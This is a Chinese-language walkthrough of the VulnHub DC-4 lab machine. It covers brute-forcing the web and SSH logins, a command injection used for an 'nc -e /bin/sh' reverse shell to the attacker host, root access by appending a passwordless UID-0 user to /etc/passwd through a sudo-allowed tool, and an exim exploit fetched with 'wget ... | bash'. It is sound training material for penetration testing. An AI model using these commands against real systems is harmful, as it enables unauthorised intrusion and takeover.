Vulnhnb刷题-DC-4
下载后,导入VMware打开,设置网络连接为NAT,拍摄一个快照防止环境损坏,即可开始攻击。
1、信息收集
arp-scan --interface=eth0 192.168.119.0/24 //扫描本地网络中存活主机
IP信息:
攻击机:192.168.119.128
靶机:192.168.119.153
靶机端口情况:
nmap -sV -T4 -A 192.168.119.153 //扫描端口和服务信息
web情况:
无CMS服务或框架,就一个登录界面,并提示使用admin账号
2、找突破点,想办法拿到shell
从端口来看,22端口一般都是爆破。可利用的一般都是80,也就是web界面,可以尝试sql注入。但经过sqlmap扫一遍和人工测试发现,不存在注入。那就爆破看看,毕竟也是提示了用户名。使用kali的自带的字典先试试。
BP抓包:
发送到攻击模块,并设置password为变量:
使用字典是:/usr/share/john/password.lst
让它跑起来,直接看返回文本长度:
拿到后台账号密码:
账号:admin
密码:happy
登录看看后台有没有可以利用的地方:
发现有命令执行的地方,抓包看看是不是可控的:
发现是可以控制的,测试一下功能正常不,修改执行的命令为whoami,看看可以获取到用户不:
发现前端返回正常,那就直接监听端口,反弹shell
3、反弹shell
监听端口:
nc -lvvp 8888
将web中的命令执行部分修改为:nc -e /bin/sh 192.168.119.128 8888即可反弹shell
修改本地shell为交互式
python -c 'import pty;pty.spawn("/bin/bash")'
寻找提权点:
4、提权
方法1:
在用户目录/home/jim/backups中发现一个old-passwords.bak文件,查看后发现是给的是旧密码,使用ssh爆破攻击跑密码看看:
使用最简单的办法,直接复制粘贴,本地新建passwd.txt文件:
找到用户名了,使用工具爆破密码:
使用hydra工具:
Hydra 是一款强大的网络登录破解工具,可用于暴力破解各种网络服务的用户名和密码。它支持多种协议和服务,包括常见的 SSH、FTP、Telnet、SMTP、POP3、IMAP 等。在 Kali Linux 中,Hydra 已经预装并且准备好供使用。
以下是 Hydra 的基本用法示例:
hydra -l <用户名> -P <密码列表文件> <目标IP地址> <协议> -s <端口号> -t <线程数>
其中:
<用户名>
:要破解的用户名,可以使用单个用户名或者使用用户名列表文件。<密码列表文件>
:包含要尝试的密码的文件路径。<目标IP地址>
:要破解的目标主机的 IP 地址。<协议>
:要破解的服务的协议类型,如 ssh、ftp、telnet 等。<端口号>
:目标服务的端口号,默认为协议的默认端口号。<线程数>
:用于并发尝试的线程数,默认为 16。
例如,要使用 Hydra 进行 SSH 登录破解,可以执行以下命令:
hydra -l admin -P password.txt 192.168.1.100 ssh
上述命令将尝试使用用户名 "admin" 和密码列表文件 "password.txt" 对 IP 地址为 "192.168.1.100" 的主机进行 SSH 登录破解。
hydra -l jim -P /home/kali/Desktop/passwd.txt 192.168.119.153 ssh
爆破成功:
ssh账号密码:
账号:jim
密码:jibril04
直接使用ssh登录
ssh jim@192.168.119.153
成功进入后台,并发现提示,有邮件,看看邮件内容有啥东西
翻译过来的意思就是,Charles这个人要出去了,然后老板让把Charles这个的密码给jim,那就尝试登录看看,发现Charles登录不了,使用charles即可登录:
使用sudo -l 看看这个用户有啥权限没有
发现有teehee命令,但是百度发现这个是一个自定义的命令,那就运行看看,有啥功能
发现teehee中的-a 可以不覆盖文件的形式追加内容,那么我们直接尝试追加一个用户到 /etc/passwd中:
echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
对于admin::0:0:::/bin/bash的解释
[用户名]:[密码]:[UID]:[GID]:[身份描述]:[主目录]:[登录shell]
也就是我们新建了一个admin账号,隶属于root用户组,但是没有设置密码。
新建成功后直接切换用户,即可拿到root用户:
寻找 flag文件
攻下:
方法3:
查询我们的本地shell有什么权限:
find / -user root -perm -4000 -print 2>/dev/null
发现常见的exim4 ,看看可以使用这个漏洞不,先查看一下版本信息:exim4 --version
搜索看看有啥可用的漏洞信息:searchsploit exim 4
发现只有满足版本要求,传上去看看。
使用python打开http服务 映射本地文件 python -m http.server
在靶机中切换到/tmp目录中,因为在这个目录可用加权限,使用wget命令下载wget http://192.168.119.128:8000/46996.sh | bash
然后给46996.sh权限 chmod +x ./46996.sh
等待一会就可以拿到权限:
同样的可以拿下靶机:
5、总结
1、在真实的环境中,信息收集环境不能少,在收集越多的信息,对于后面的提权或者打进去非常有用。
2、针对提权,在一个靶机中可能存在多种的提权方式,关键就在于信息收集,当我们收集的信息,满足一些提权条件的时候就可以使用。
3、在普通的情况下,kail自带的字典就已经够用,如果跑全部跑完了,就可以放弃暴力破解,得使用其他方式了,当然也可以在加自己根据信息收集阶段中生成 社工字典。